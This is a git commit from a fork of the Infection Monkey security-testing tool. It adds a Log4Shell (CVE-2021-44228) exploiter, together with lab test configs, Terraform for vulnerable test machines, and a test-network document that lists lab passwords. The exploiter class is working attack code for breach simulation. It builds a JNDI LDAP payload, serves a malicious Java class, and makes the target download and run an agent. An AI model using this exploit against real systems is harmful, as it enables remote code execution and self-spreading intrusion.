forked from p34709852/monkey
Merge pull request #1670 from guardicore/1663-log4shell-exploit
Log4Shell exploiter
This commit is contained in:
commit
39a48c2b64
|
@ -0,0 +1,37 @@
|
|||
---
|
||||
title: "Log4Shell"
|
||||
date: 2022-01-12T14:07:23+05:30
|
||||
draft: false
|
||||
tags: ["exploit", "linux", "windows"]
|
||||
---
|
||||
|
||||
The Log4Shell exploiter exploits
|
||||
[CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228).
|
||||
|
||||
|
||||
### Description
|
||||
|
||||
Some versions of Apache Log4j, a Java logging framework, have a logging feature
|
||||
called "Message Lookup Substitution" enabled by default. This allows replacing
|
||||
certain special strings by dynamically-generated strings at the time of
|
||||
logging. If log messages or log message parameters can be controlled by an
|
||||
attacker, arbitrary code can be executed. The Log4Shell exploiter takes
|
||||
advantage of this vulnerability to propagate to a victim machine.
|
||||
|
||||
You can learn more about this vulnerability and potential mitigations
|
||||
[here](https://logging.apache.org/log4j/2.x/security.html#Fixed_in_Log4j_2.15.0_.28Java_8.29).
|
||||
|
||||
|
||||
### Services exploited
|
||||
|
||||
The Infection Monkey will attempt to exploit the Log4Shell vulnerability in the
|
||||
following services:
|
||||
|
||||
- Apache Solr
|
||||
- Apache Tomcat
|
||||
- Logstash
|
||||
|
||||
**Note**: Even if none of these services are running in your environment,
|
||||
running the Log4Shell exploiter can be a good way to test your IDS/IPS or EDR
|
||||
solutions. These solutions should detect that the Infection Monkey is attempting
|
||||
to exploit the Log4Shell vulnerability and raise an appropriate alert.
|
|
@ -0,0 +1,16 @@
|
|||
from copy import copy
|
||||
|
||||
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
|
||||
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
|
||||
|
||||
|
||||
class Log4jLogstash(ConfigTemplate):
|
||||
|
||||
config_values = copy(BaseTemplate.config_values)
|
||||
|
||||
config_values.update(
|
||||
{
|
||||
"basic.exploiters.exploiter_classes": ["Log4ShellExploiter"],
|
||||
"basic_network.scope.subnet_scan_list": ["10.2.3.55", "10.2.3.56"],
|
||||
}
|
||||
)
|
|
@ -0,0 +1,16 @@
|
|||
from copy import copy
|
||||
|
||||
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
|
||||
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
|
||||
|
||||
|
||||
class Log4jSolr(ConfigTemplate):
|
||||
|
||||
config_values = copy(BaseTemplate.config_values)
|
||||
|
||||
config_values.update(
|
||||
{
|
||||
"basic.exploiters.exploiter_classes": ["Log4ShellExploiter"],
|
||||
"basic_network.scope.subnet_scan_list": ["10.2.3.49", "10.2.3.50"],
|
||||
}
|
||||
)
|
|
@ -0,0 +1,16 @@
|
|||
from copy import copy
|
||||
|
||||
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
|
||||
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
|
||||
|
||||
|
||||
class Log4jTomcat(ConfigTemplate):
|
||||
|
||||
config_values = copy(BaseTemplate.config_values)
|
||||
|
||||
config_values.update(
|
||||
{
|
||||
"basic.exploiters.exploiter_classes": ["Log4ShellExploiter"],
|
||||
"basic_network.scope.subnet_scan_list": ["10.2.3.51", "10.2.3.52"],
|
||||
}
|
||||
)
|
|
@ -26,5 +26,11 @@ GCP_TEST_MACHINE_LIST = {
|
|||
"powershell-3-46",
|
||||
"powershell-3-47",
|
||||
"powershell-3-48",
|
||||
"log4j-logstash-55",
|
||||
"log4j-logstash-56",
|
||||
"log4j-solr-49",
|
||||
"log4j-solr-50",
|
||||
"log4j-tomcat-51",
|
||||
"log4j-tomcat-52",
|
||||
],
|
||||
}
|
||||
|
|
|
@ -11,6 +11,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
|
|||
from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal
|
||||
from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
|
||||
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
|
||||
from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
|
||||
from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
|
||||
from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat
|
||||
from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql
|
||||
from envs.monkey_zoo.blackbox.config_templates.performance import Performance
|
||||
from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell
|
||||
|
@ -198,7 +201,22 @@ class TestMonkeyBlackbox:
|
|||
TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter")
|
||||
|
||||
def test_shellshock_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellschock_exploiter")
|
||||
TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellshock_exploiter")
|
||||
|
||||
def test_log4j_solr_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(
|
||||
island_client, Log4jSolr, "Log4Shell_Solr_exploiter"
|
||||
)
|
||||
|
||||
def test_log4j_tomcat_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(
|
||||
island_client, Log4jTomcat, "Log4Shell_tomcat_exploiter"
|
||||
)
|
||||
|
||||
def test_log4j_logstash_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(
|
||||
island_client, Log4jLogstash, "Log4Shell_logstash_exploiter"
|
||||
)
|
||||
|
||||
def test_tunneling(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(
|
||||
|
|
|
@ -6,6 +6,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
|
|||
from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal
|
||||
from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
|
||||
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
|
||||
from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
|
||||
from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
|
||||
from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat
|
||||
from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql
|
||||
from envs.monkey_zoo.blackbox.config_templates.performance import Performance
|
||||
from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell
|
||||
|
@ -53,6 +56,9 @@ CONFIG_TEMPLATES = [
|
|||
WmiPth,
|
||||
Zerologon,
|
||||
Drupal,
|
||||
Log4jLogstash,
|
||||
Log4jTomcat,
|
||||
Log4jSolr,
|
||||
]
|
||||
|
||||
|
||||
|
|
|
@ -35,8 +35,14 @@ This document describes Infection Monkey’s test network, how to deploy and use
|
|||
[Nr. 3-46 Powershell](#_Toc536021480)<br>
|
||||
[Nr. 3-47 Powershell](#_Toc536021481)<br>
|
||||
[Nr. 3-48 Powershell](#_Toc536021482)<br>
|
||||
[Nr. 250 MonkeyIsland](#_Toc536021483)<br>
|
||||
[Nr. 251 MonkeyIsland](#_Toc536021484)<br>
|
||||
[Nr. 3-49 Log4j Solr](#_Toc536021483)<br>
|
||||
[Nr. 3-50 Log4j Solr](#_Toc536021484)<br>
|
||||
[Nr. 3-51 Log4j Tomcat](#_Toc536021485)<br>
|
||||
[Nr. 3-52 Log4j Tomcat](#_Toc536021486)<br>
|
||||
[Nr. 3-55 Log4j Logstash](#_Toc536021487)<br>
|
||||
[Nr. 3-56 Log4j Logstash](#_Toc536021488)<br>
|
||||
[Nr. 250 MonkeyIsland](#_Toc536021489)<br>
|
||||
[Nr. 251 MonkeyIsland](#_Toc536021490)<br>
|
||||
[Network topography](#network-topography)<br>
|
||||
|
||||
# Warning\!
|
||||
|
@ -501,7 +507,7 @@ Update all requirements using deployment script:<br>
|
|||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>Accessible only trough Nr.9</td>
|
||||
<td>Accessible only through Nr.9</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
@ -537,7 +543,7 @@ Update all requirements using deployment script:<br>
|
|||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>Accessible only trough Nr.10</td>
|
||||
<td>Accessible only through Nr.10</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
@ -569,7 +575,7 @@ Update all requirements using deployment script:<br>
|
|||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>Accessible only trough Nr.10</td>
|
||||
<td>Accessible only through Nr.10</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
@ -1201,7 +1207,179 @@ Update all requirements using deployment script:<br>
|
|||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021483" class="anchor"></span>Nr. <strong>250 MonkeyIsland</strong></p>
|
||||
<th><p><span id="_Toc536021483" class="anchor"></span>Nr. <strong>3-49 Log4j Solr</strong></p>
|
||||
<p>(10.2.3.49)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Ubuntu 18.04LTS</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Apache Solr 8.11.0</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>8983</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: m0nk3y</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021484" class="anchor"></span>Nr. <strong>3-50 Log4j Solr</strong></p>
|
||||
<p>(10.2.3.50)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Windows Server 2016 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Apache solr 8.11.0</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>8983</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: Passw0rd!</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021485" class="anchor"></span>Nr. <strong>3-51 Log4j Tomcat</strong></p>
|
||||
<p>(10.2.3.51)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Ubuntu 18.04LTS</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Apache Tomcat 8.0.36</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>8080</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021486" class="anchor"></span>Nr. <strong>3-52 Log4j Tomcat</strong></p>
|
||||
<p>(10.2.3.52)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Windows Server 2016 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Apache Tomcat 8.0.36</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>8080</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: Tomcat@22</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021487" class="anchor"></span>Nr. <strong>3-55 Log4j Logstash</strong></p>
|
||||
<p>(10.2.3.55)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Ubuntu 18.04LTS</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Logstash 5.5.0</td>
|
||||
<td>Java 1.8.0</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>9600</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: logstash</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021488" class="anchor"></span>Nr. <strong>3-56 Log4j Logstash</strong></p>
|
||||
<p>(10.2.3.56)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Windows Server 2016 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Logstash 5.5.0</td>
|
||||
<td>Java 1.8.0</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>9600</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: 7;@K"kPTM</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021489" class="anchor"></span>Nr. <strong>250 MonkeyIsland</strong></p>
|
||||
<p>(10.2.2.250)</p></th>
|
||||
<th></th>
|
||||
</tr>
|
||||
|
@ -1225,7 +1403,7 @@ Update all requirements using deployment script:<br>
|
|||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Notes:</td>
|
||||
<td>Only accessible trough GCP</td>
|
||||
<td>Only accessible through GCP</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
@ -1233,7 +1411,7 @@ Update all requirements using deployment script:<br>
|
|||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021484" class="anchor"></span>Nr. <strong>251 MonkeyIsland</strong></p>
|
||||
<th><p><span id="_Toc536021490" class="anchor"></span>Nr. <strong>251 MonkeyIsland</strong></p>
|
||||
<p>(10.2.2.251)</p></th>
|
||||
<th></th>
|
||||
</tr>
|
||||
|
@ -1257,7 +1435,7 @@ Update all requirements using deployment script:<br>
|
|||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Notes:</td>
|
||||
<td>Only accessible trough GCP</td>
|
||||
<td>Only accessible through GCP</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
|
|
@ -77,6 +77,30 @@ data "google_compute_image" "powershell-3-45" {
|
|||
name = "powershell-3-45"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "log4j-solr-49" {
|
||||
name = "log4j-solr-49"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "log4j-solr-50" {
|
||||
name = "log4j-solr-50"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "log4j-tomcat-51" {
|
||||
name = "log4j-tomcat-51"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "log4j-solr-50" {
|
||||
name = "log4j-solr-50"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "log4j-logstash-55" {
|
||||
name = "log4j-logstash-55"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "log4j-logstash-56" {
|
||||
name = "log4j-logstash-56"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "weblogic-18" {
|
||||
name = "weblogic-18"
|
||||
project = local.monkeyzoo_project
|
||||
|
|
|
@ -373,6 +373,111 @@ resource "google_compute_instance_from_template" "powershell-3-45" {
|
|||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "powershell-3-45" {
|
||||
name = "${local.resource_prefix}powershell-3-45"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.powershell-3-45.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.45"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "log4j-solr-49" {
|
||||
name = "${local.resource_prefix}log4j-solr-49"
|
||||
source_instance_template = local.default_linux
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.log4j-solr-49.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.49"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "log4j-solr-50" {
|
||||
name = "${local.resource_prefix}log4j-solr-50"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.log4j-solr-50.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.50"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "log4j-tomcat-51" {
|
||||
name = "${local.resource_prefix}log4j-tomcat-51"
|
||||
source_instance_template = local.default_linux
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.log4j-tomcat-51.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.51"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "log4j-tomcat-52" {
|
||||
name = "${local.resource_prefix}log4j-tomcat-52"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.log4j-tomcat-52.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.52"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "log4j-logstash-55" {
|
||||
name = "${local.resource_prefix}log4j-logstash-55"
|
||||
source_instance_template = local.default_linux
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.log4j-logstash-55.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.55"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "log4j-logstash-56" {
|
||||
name = "${local.resource_prefix}log4j-logstash-56"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.log4j-logstash-56.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.56"
|
||||
}
|
||||
}
|
||||
|
||||
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
|
||||
resource "google_compute_instance_from_template" "upgrader-17" {
|
||||
name = "${local.resource_prefix}upgrader-17"
|
||||
|
|
|
@ -31,8 +31,10 @@ ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"}
|
|||
pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl
|
||||
pypsrp = "*"
|
||||
typing-extensions = "*"
|
||||
ldaptor = "*"
|
||||
|
||||
[dev-packages]
|
||||
ldap3 = "*"
|
||||
|
||||
[requires]
|
||||
python_version = "3.7"
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -58,7 +58,7 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
def get_open_service_ports(self, port_list, names):
|
||||
# We must append elastic port we get from elastic fingerprint module because It's not
|
||||
# marked as 'http' service
|
||||
valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names)
|
||||
valid_ports = WebRCE.get_open_service_ports(self.host, port_list, names)
|
||||
if ES_SERVICE in self.host.services:
|
||||
valid_ports.append([ES_PORT, False])
|
||||
return valid_ports
|
||||
|
|
|
@ -27,7 +27,7 @@ from infection_monkey.utils.commands import build_monkey_commandline
|
|||
class HadoopExploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ["linux", "windows"]
|
||||
_EXPLOITED_SERVICE = "Hadoop"
|
||||
HADOOP_PORTS = [["8088", False]]
|
||||
HADOOP_PORTS = [("8088", False)]
|
||||
# How long we have our http server open for downloads in seconds
|
||||
DOWNLOAD_TIMEOUT = 60
|
||||
# Random string's length that's used for creating unique app name
|
||||
|
@ -38,7 +38,7 @@ class HadoopExploiter(WebRCE):
|
|||
|
||||
def _exploit_host(self):
|
||||
# Try to get exploitable url
|
||||
urls = self.build_potential_urls(self.HADOOP_PORTS)
|
||||
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
|
||||
self.add_vulnerable_urls(urls, True)
|
||||
if not self.vulnerable_urls:
|
||||
return False
|
||||
|
|
|
@ -0,0 +1,195 @@
|
|||
import logging
|
||||
import time
|
||||
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.log4shell_utils import (
|
||||
LINUX_EXPLOIT_TEMPLATE_PATH,
|
||||
WINDOWS_EXPLOIT_TEMPLATE_PATH,
|
||||
ExploitClassHTTPServer,
|
||||
LDAPExploitServer,
|
||||
build_exploit_bytecode,
|
||||
get_log4shell_service_exploiters,
|
||||
)
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.model import (
|
||||
DROPPER_ARG,
|
||||
LOG4SHELL_LINUX_COMMAND,
|
||||
LOG4SHELL_WINDOWS_COMMAND,
|
||||
VictimHost,
|
||||
)
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class Log4ShellExploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ["linux", "windows"]
|
||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||
_EXPLOITED_SERVICE = "Log4j"
|
||||
SERVER_SHUTDOWN_TIMEOUT = 15
|
||||
REQUEST_TO_VICTIM_TIMEOUT = (
|
||||
5 # Max time agent will wait for the response from victim in SECONDS
|
||||
)
|
||||
|
||||
def __init__(self, host: VictimHost):
|
||||
super().__init__(host)
|
||||
|
||||
self._ldap_port = get_free_tcp_port()
|
||||
|
||||
self._class_http_server_ip = get_interface_to_target(self.host.ip_addr)
|
||||
self._class_http_server_port = get_free_tcp_port()
|
||||
|
||||
self._ldap_server = None
|
||||
self._exploit_class_http_server = None
|
||||
self._agent_http_server_thread = None
|
||||
self._open_ports = [
|
||||
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
|
||||
]
|
||||
|
||||
def _exploit_host(self):
|
||||
if not self._open_ports:
|
||||
logger.info("Could not find any open web ports to exploit")
|
||||
return False
|
||||
|
||||
self._start_servers()
|
||||
try:
|
||||
return self.exploit(None, None)
|
||||
finally:
|
||||
self._stop_servers()
|
||||
|
||||
def _start_servers(self):
|
||||
# Start http server, to serve agent to victims
|
||||
paths = self.get_monkey_paths()
|
||||
agent_http_path = self._start_agent_http_server(paths)
|
||||
|
||||
# Build agent execution command
|
||||
command = self._build_command(paths["dest_path"], agent_http_path)
|
||||
|
||||
# Start http server to serve malicious java class to victim
|
||||
self._start_class_http_server(command)
|
||||
|
||||
# Start ldap server to redirect ldap query to java class server
|
||||
self._start_ldap_server()
|
||||
|
||||
def _start_agent_http_server(self, agent_paths: dict) -> str:
|
||||
# Create server for http download and wait for it's startup.
|
||||
http_path, http_thread = HTTPTools.try_create_locked_transfer(
|
||||
self.host, agent_paths["src_path"]
|
||||
)
|
||||
self._agent_http_server_thread = http_thread
|
||||
return http_path
|
||||
|
||||
def _start_class_http_server(self, command: str):
|
||||
java_class = self._build_java_class(command)
|
||||
|
||||
self._exploit_class_http_server = ExploitClassHTTPServer(
|
||||
self._class_http_server_ip, self._class_http_server_port, java_class
|
||||
)
|
||||
self._exploit_class_http_server.run()
|
||||
|
||||
def _start_ldap_server(self):
|
||||
self._ldap_server = LDAPExploitServer(
|
||||
ldap_server_port=self._ldap_port,
|
||||
http_server_ip=self._class_http_server_ip,
|
||||
http_server_port=self._class_http_server_port,
|
||||
storage_dir=get_monkey_dir_path(),
|
||||
)
|
||||
self._ldap_server.run()
|
||||
|
||||
def _stop_servers(self):
|
||||
logger.debug("Stopping all LDAP and HTTP Servers")
|
||||
self._agent_http_server_thread.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
|
||||
|
||||
self._exploit_class_http_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
|
||||
|
||||
self._ldap_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
|
||||
|
||||
def _build_ldap_payload(self) -> str:
|
||||
interface_ip = get_interface_to_target(self.host.ip_addr)
|
||||
return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
|
||||
|
||||
def _build_command(self, path, http_path) -> str:
|
||||
# Build command to execute
|
||||
monkey_cmd = build_monkey_commandline(
|
||||
self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path
|
||||
)
|
||||
if "linux" in self.host.os["type"]:
|
||||
base_command = LOG4SHELL_LINUX_COMMAND
|
||||
else:
|
||||
base_command = LOG4SHELL_WINDOWS_COMMAND
|
||||
|
||||
return base_command % {
|
||||
"monkey_path": path,
|
||||
"http_path": http_path,
|
||||
"monkey_type": DROPPER_ARG,
|
||||
"parameters": monkey_cmd,
|
||||
}
|
||||
|
||||
def _build_java_class(self, exploit_command: str) -> bytes:
|
||||
if "linux" in self.host.os["type"]:
|
||||
return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH)
|
||||
else:
|
||||
return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH)
|
||||
|
||||
def exploit(self, url, command) -> bool:
|
||||
# Try to exploit all services,
|
||||
# because we don't know which services are running and on which ports
|
||||
for exploit in get_log4shell_service_exploiters():
|
||||
for port in self._open_ports:
|
||||
try:
|
||||
exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
|
||||
except Exception as ex:
|
||||
logger.warning(
|
||||
"An error occurred while attempting to exploit log4shell on a "
|
||||
f"potential {exploit.service_name} service: {ex}"
|
||||
)
|
||||
|
||||
if self._wait_for_victim():
|
||||
self.exploit_info["vulnerable_service"] = {
|
||||
"service_name": exploit.service_name,
|
||||
"port": port,
|
||||
}
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def _wait_for_victim(self) -> bool:
|
||||
victim_called_back = False
|
||||
|
||||
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
|
||||
if victim_called_back:
|
||||
self._wait_for_victim_to_download_agent()
|
||||
|
||||
return victim_called_back
|
||||
|
||||
def _wait_for_victim_to_download_java_bytecode(self) -> bool:
|
||||
start_time = time.time()
|
||||
|
||||
while not self._victim_timeout_expired(
|
||||
start_time, Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT
|
||||
):
|
||||
if self._exploit_class_http_server.exploit_class_downloaded():
|
||||
return True
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
return False
|
||||
|
||||
def _wait_for_victim_to_download_agent(self):
|
||||
start_time = time.time()
|
||||
|
||||
while not self._victim_timeout_expired(start_time, AGENT_DOWNLOAD_TIMEOUT):
|
||||
if self._agent_http_server_thread.downloads > 0:
|
||||
break
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
@classmethod
|
||||
def _victim_timeout_expired(cls, start_time: float, timeout: int) -> bool:
|
||||
return timeout < (time.time() - start_time)
|
|
@ -0,0 +1,31 @@
|
|||
# Building Java class templates for log4shell
|
||||
|
||||
## Summary
|
||||
The log4shell exploiter provides two files, `LinuxExploit.class.template` and
|
||||
